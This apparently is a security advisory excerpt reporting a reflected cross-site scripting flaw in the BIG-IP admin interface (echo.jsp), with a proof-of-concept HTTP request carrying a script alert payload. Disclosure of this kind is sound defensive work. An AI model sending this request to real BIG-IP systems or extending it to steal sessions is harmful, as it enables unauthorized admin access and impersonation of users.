Vulnerability overview/description:
- -----------------------------------
BIG-IP suffers from a reflected Cross-Site Scripting vulnerability,
which allow an attacker to steal other users sessions, to impersonate other
users and to gain unauthorized access to the admin interface.


Proof of concept:
- -----------------
The following HTTP request triggers the vulnerability:

POST /tmui/dashboard/echo.jsp HTTP/1.1
Host: BIGIP
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 29

<script>alert('xss')</script>

The server does not properly encode user supplied information and returns it
to the user resulting in Cross-Site Scripting.
